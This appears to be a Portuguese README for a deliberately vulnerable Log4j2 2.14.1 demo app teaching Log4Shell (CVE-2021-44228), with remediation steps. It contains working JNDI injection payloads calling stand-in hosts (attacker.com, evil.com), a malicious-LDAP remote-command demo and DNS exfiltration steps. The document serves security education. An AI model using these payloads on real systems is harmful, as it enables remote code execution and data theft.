Log4j2-BugMaker

CVE-2021-44228 Projeto de Demonstração da Vulnerabilidade Log4Shell

Este é um projeto de demonstração para aprender e pesquisar a vulnerabilidade de execução remota de código do Log4j2 (Log4Shell).

⚠️ Aviso de Segurança

Este projeto é apenas para fins de pesquisa e educação em segurança, não utilize em ambiente de produção!

Este projeto utiliza a versão Log4j 2.14.1, que possui uma grave vulnerabilidade de segurança.

📋 Configuração do Ambiente

• Spring Boot: 2.6.1
• Log4j2: 2.14.1 (versão vulnerável)
• Java: 8 (JDK 1.8)

🚀 Início Rápido

1. Compilar o Projeto

./mvnw clean package

2. Executar a Aplicação

./mvnw spring-boot:run

Ou:

java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar

3. Acessar a Aplicação

Abra o navegador e acesse: http://localhost:8080

🎯 Pontos de Vulnerabilidade

1. Injeção no Cabeçalho User-Agent

curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log

2. Injeção no Parâmetro de Consulta

curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"

3. Verificação de Saúde (sem vulnerabilidade)

curl http://localhost:8080/api/health

💡 Princípio da Vulnerabilidade

Log4Shell (CVE-2021-44228) é uma vulnerabilidade grave no Apache Log4j2. Quando a aplicação registra uma entrada do usuário contendo uma string de formato especial, o Log4j2 analisa expressões de consulta JNDI, permitindo que um atacante execute código remoto usando essa característica.

Exemplos de Payload de Ataque

${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}

Payloads de Teste (seguros)

${java:version}
${java:os}
${env:PATH}

🔧 Passos para Teste

1. Inicie a aplicação
2. Envie uma requisição contendo uma expressão JNDI
3. Observe os logs do console para ver o comportamento de parsing do Log4j2

🛡️ Soluções de Correção

Solução 1: Atualizar a Versão do Log4j2

Atualize o Log4j2 para a versão 2.17.1 ou superior:

<properties>
    <log4j2.version>2.17.1</log4j2.version>
</properties>

Solução 2: Configurar Parâmetro da JVM

-Dlog4j2.formatMsgNoLookups=true

Solução 3: Remover a Classe JndiLookup

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🚀 Demonstração de Execução Remota de Código

Método 1: Usar Ferramenta Fornecida (recomendado)

# 1. Execute o script automatizado
./setup-exploit-server.sh

# 2. Selecione a ferramenta JNDI-Injection-Exploit
# 3. Digite o comando a ser executado (ex: whoami ou cat /etc/hosts)
# 4. Em outro terminal, envie o payload de ataque

Método 2: Usar Servidor Python LDAP

# Inicie um servidor LDAP malicioso
python3 simple-ldap-server.py "whoami"

# Ou execute outros comandos
python3 simple-ldap-server.py "cat /etc/hosts"

# Em outro terminal, envie o payload de ataque
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log

Método 3: Verificação de Exfiltração DNS (sem necessidade de servidor)

# Execute o script de teste de exfiltração DNS
./test-dns-exfiltration.sh

# Siga as instruções, acesse dnslog.cn para obter um subdomínio
# Em seguida, verifique se a requisição DNS foi recebida

📚 Referências

• Detalhes do CVE-2021-44228
• Comunicado de Segurança do Apache Log4j
• Alerta da CISA
• JNDI-Injection-Exploit
• JNDIExploit

📝 Licença

Este projeto é licenciado sob a licença MIT License.

Declaração Especial: Este projeto é apenas para fins educacionais e de pesquisa em segurança. O usuário assume seus próprios riscos ao utilizá-lo.

⚠️ Aviso Legal

Realizar testes de penetração em sistemas de terceiros sem autorização é ilegal! Este projeto destina-se apenas a:

• Aprendizado em seu próprio ambiente de teste
• Testes de segurança autorizados
• Pesquisa e educação em segurança

Cumpra as leis e regulamentos locais e use este conhecimento de forma responsável.